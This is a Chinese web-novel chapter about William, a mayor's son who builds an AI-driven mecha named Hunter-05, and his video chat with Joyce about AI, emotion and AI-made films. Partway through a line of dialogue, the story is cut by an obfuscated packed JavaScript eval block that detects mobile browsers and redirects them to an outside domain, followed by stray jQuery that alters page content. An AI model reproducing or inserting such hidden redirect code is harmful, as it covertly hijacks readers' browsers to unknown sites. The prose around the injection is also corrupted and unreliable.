Lexa总部高楼玻璃折射出整座城市灯海浮动辉光，街巷光线在窗面闪烁流转，让整片天空像静止的波浪起伏着微光痕迹，空气弥漫一种淡淡电子设备散出的热意，带着金属微香与冷气混合气息。
William坐在实验室靠墙角落，姿势略显懒散又克制，指尖滑过悬浮投影控制面板，每一次触碰都带出光痕延展在空气，像水波扩散，辉映出他眼底专注神色。中央平台那台崭新灰银配色机甲开始苏醒，钢铁板层沿着精密曲线缓缓分离，内部机构旋转无声，金属臂伸展时发出极轻嗡鸣，蓝白灯光闪烁节奏规律，如心跳脉动般呈现出生命假象。
他靠在椅背，姿态松弛而神思漂浮，微微眯起的眼透出一种既满足又若有所思神情，目光越过屏幕闪烁数据，心早已飘向那一行行复杂程式背后隐藏逻辑。身为王市长之子，外界眼中光环环绕，锋芒被期望层层覆盖，可他心底渴望并非掌控商场利益之衡，而是一份更冷肃也更炽烈信念，那是政治之舞流转权谋，也是钢铁火花碰撞出秩序与力量之瞬间，他沉醉其中，仿佛那才是真正属于自己世界回响。
他用一块已经被擦得有些发亮的粗布轻轻拭去机甲头盔镜面上那层细微灰尘，手腕动作稳而缓，光线在金属表面折射出淡淡冷色，他嘴角微微上扬笑意若隐若现，像是在注视一位久别重逢的老朋友，又像在欣赏自己辛勤成果，他低低自语那台被命名“Hunter-05”的巨型机体如今比上一代更灵动也更聪慧，能在复杂环境中自主判断还能反应他尚未发出口令的思维，可越是这样熟练越是这样像一个有灵魂的战士，他心底便生出些许无法抑制的不安。
AI控制系统对于他而言像柄闪着寒光的双刃剑，一面让人类掌握塑造世界的力量让工业与战斗都展现出前所未有的效率，另一面却藏着潜伏深处的危险，它可能会悄然推开那条在人与机器之间几乎透明的界线，让曾经清晰的主从关系变得模糊难辨，而他在那种细小摇摆中感到一种冷意仿佛正从钢铁表层渗入心底。
就在他发出长叹时，通讯屏忽然亮起，远在魔都的Joyce像一道光跳了出来，她穿着训练服，全身沾满汗珠，背景是一片开阔机甲模拟场，红光在她侧脸流动。她一见到他，笑得像风掠过水面，那种活力瞬间打破实验室冷色氛围。
“William，你那边又在熬夜吧？我猜你肯定又把AI芯片拆了又改，改了又装。”她一边拿着毛巾擦着脖子，一边哼着小调，满带有几分调侃。
“我没熬夜，我只是在探索新的装备，” William嘴角一扬，反问她，“你不是也在虐那台机甲？看看后面的屏幕，系统都被你操热到报警啦。”
Joyce弯腰笑出声， “那是它太笨！要是它能像你一样思考，我早下班吃烧烤去了。”
William忍不住摇头，笑容温柔而隐秘， “要是真有机甲能思考，世界可能变得比烧烤还烫。”
她一愣，“你又在想AI会不会超越人类？”
他望了屏幕一阵，指尖无声敲击控制台，那动作让人想到他平时搏击出拳的节奏。“是啊，我总觉得，AI能学会模仿我们的语气与表情，但灵魂触动那部分它仿不来。你明白那种感觉吗？当你看一场电影，主角哭的时候，你不是被情节打动，而是某种共鸣像从身体深处伸出来。机器或许能演，但它不会理解为什么要哭。”
Joyce随手拿起能量饮料瓶，坐到机甲脚边，抬头望着天花板散发的蓝白光，那神情忽然安静了许多， “也许吧，不过我还是觉得AI挺像镜子，人看见它的样子，其实是在看自己，不是吗？”
这句话让William笑了笑，笑意有点复杂，“那镜子要是会说话，要是开始对你讲‘我比你更懂你’，你还会喜欢这面镜子吗？”
“我可能会被吓哭。” Joyce一脸认真，然后又坏笑， “不过如果那面镜子长得像你，也许还能接受。”
William差点被水呛到， “你这话要传到我妈耳朵里，她会马上去找你妈，商量着两家什么时候再见面。”
两人对视，大笑。笑声穿过屏幕，像翻越香江的夜风，落到魔都街口霓虹之间。
远方那头Joyce站起身活动筋骨，机甲随她动作摆出标准格斗姿势。她抹去额上汗水，语气轻快却藏不住认真，“其实我挺佩服你的，你爸那身份，你妈那资产，你弟弟又天才，只有你在搞机甲，别人都会觉得你不务正业。”
William一愣，随即笑着摇头， “不务正业才是我能呼吸的方式。你知道我爸每天谈城市建设八百万人口，我妈谈AI产业几千亿资产，我弟弟每天晒代码和测试。除了机器，我好像什么都插不上手。可就在这间实验室，我能让金属听我指令，让冷硬结构变成有力量的存在，就像我能决定世界下一秒如何运转。那种感觉，挺奇妙。”
Joyce沉默几秒，随后补了一句， “挺孤独，对吧？”
William眯了眯眼，嗓音低下去， “嗯，有时候孤独得像城市最亮的那一盏路灯。”
屏幕两边短暂静止，只有机甲低低发出呼吸似的气流声。
片刻后，Joyce忽然换了话题，“你知道吗？听说香江那边有人打算搞AI全自动电影，连演员都不用，全是数字合成。”她眨了眨眼，“要是那真成了，我这边几个拍戏的朋友还真得失业。”
William眉头微蹙，放下手里控制笔，语气平平， “那项目我知道。”
“你知道？” Joyce挑眉， “不会告诉我是你妈投资的吧？”
William轻轻摇头，语气带着几分无奈， “不是我妈，是我弟。”
“Peterson？！” Joyce几乎跳了起来，猛地笑得眼泪都快出来，“那小子上次才跟我吹他写的AI能懂观众笑点，这下好了，直接干掉演员，这智商真是危险到家。”
William靠在椅背微微叹气， “他说那样能让电影变得公正，没人被炒作绑架，不看脸只看内容。”
Joyce笑完，忽然正色， “可要是那天真的来了，AI写剧本，AI演戏，AI剪片，人还能做什么？”
她的声音被风卷过屏幕，William抬头望着那虚拟影像，仿佛能透过信号线去触摸苍穹。他缓缓道，“人该学会做导演，不是那个麦克风后喊‘开拍’的导演，而是能为世界设定边界的导演。”
“边界？” 她歪头。
“对，科技越快，越需要宝藏一样的边界。” 他语调缓慢而坚定，“我希望我们不是被AI牵着鼻子走，而是能让它在规则里成长，就像城市需要交通灯，AI也需要制度。这样才能有温度，不至于让人心变冷。”
Joyce听完，露出那种半懂半笑的表情，又摆出夸张神态， “哇，好个市长儿子的发言，要不要我给你鼓掌再送面锦旗？”
William笑出声， “我看你这一身流利的动作，不如送我你副新的机甲好了。”
“那不行，我现在这副和我有感情了，我都给它取名叫‘小拳拳’了，它比你的那副好用多了。”
“那你让它陪你聊天试试？”
“它只会训练，不会抬杠。” 她眨眨眼。
“那我比它还差点什么？”
她咬了咬嘴唇，假装认真想了几秒，“它不会脸红。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539921|186609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
William一愣，脸真红了。
两人又是一阵笑，笑声这回大到吵醒机甲自动识别系统，检测声响来源时发出几声机械提示，吓得Joyce赶紧拍了拍它脑壳，“别吵，那不是危险，那是我和朋友在谈哲学。”
William被她语气逗乐，手掌敲敲桌面， “你可真行，这样的对话估计要传到Peterson手里，他肯定会写进下一次AI情感学习程序。”
“那我以后是不是要给它写情书？” Joyce装作害怕地瞪大眼睛，然后又看着他， “不过说真的，你弟那方向可能会火，虽然我讨厌机器代替人演，可它终究是趋势。”
William沉默片刻，望着屏幕那张被汗光映亮的脸，轻声道， “趋势不该是吞掉人的东西，而该是人能骑上去的浪。”
Joyce眼底闪过一抹亮意， “你是说我们要像冲浪选手一样，踩着机器的浪跑？”
“没错。” 他说得坚定，“我们不能害怕AI，而应该学会驾驭。像我们学搏击，不能怕拳头，要先学怎么用它打出节奏。”
“好嘛，那等我下次过去，你要教我机甲版节奏。”
“成交。” William笑得温和。
远处香江夜色愈沉，街岸灯影在水面轻轻摇晃，霓虹映出几缕淡红微光，铺满整片实验楼外墙。风循窗缝潜入室中，带着江面潮湿气息穿过金属架，拂过堆叠图纸。几张未曾整理的纸页轻轻颤动，仿佛被唤醒般发出微响，落在地上又微微滑开一角。灯下那几张稿纸布满手绘机甲线条，齿轮与骨架交错勾连，墨迹微晕出灰影，还有几段写给自我的心绪笔记，字迹时而清晰、时而凌乱，看得出他曾陷入漫长思索。纸页末端孤零一行字被灯光映得发白，那是他留下句子——“科技是人的心镜，如果不反映真实情感，终将会是模糊失去焦点的。”这句话静静悬在空气里，像在回望他尚未解开的梦，也似在提醒一颗沉于机械世界心灵仍有柔软角落。
他默默读了几遍，又抬头望向屏幕，那边Joyce正在关掉训练场照明，灯光滑过她肩线，宛如流动星河。她回头冲他挥手，“早点休息，未来领跑者先生。”
“你也别太拼，魔都夜又冷又潮。”
“我有 ‘小拳拳’，不怕。” 说完她做了个鬼脸，屏幕闪了几下，信号消失，只留下通讯频道微微亮光。
William靠拢桌面，关闭机甲系统，实验室顿时安静，只剩金属轻鸣。他看向窗外那条宽广水域，霓虹倒映摇曳，仿佛城市在星空下呼吸。他心底泛起一种奇怪情绪，像期待又像疑问。世界正被AI一点点改变，而他站在时代中线，看着机械与人都在跳舞。
他忽然发现，或许关键不在于谁更聪明，而是谁能理解彼此那份“感觉”。因为那份感觉，让金属学会配合，让人学会掌控，也让彼此都变得更完整。
第二天清晨，阳光穿过楼群玻璃，照进香江市实验大厦，金光在机甲装甲面滑过。William推开门，呼吸着混合金属与海风气息，脑海里还回荡昨晚那阵笑声。
他喃喃自语，“远方不远处，也许就会有答案。”
眼神随即变得明亮，像是决定了什么。他重新启动系统，那架机甲重新苏醒，灯光闪烁出人心略带温度颜色。
香江外的波浪拍打防堤，城市轰鸣响起。William望向机器，微微笑，说出一句带笑意的嘀咕： “来吧，小家伙，我们该去想下一个问题了——就是怎样让你也学会笑。”
那一刻，灯光突然亮了两下，像回应，又像调皮。
夜与晨于是交织，一个新的思考在机甲电流闪烁之间悄悄生长。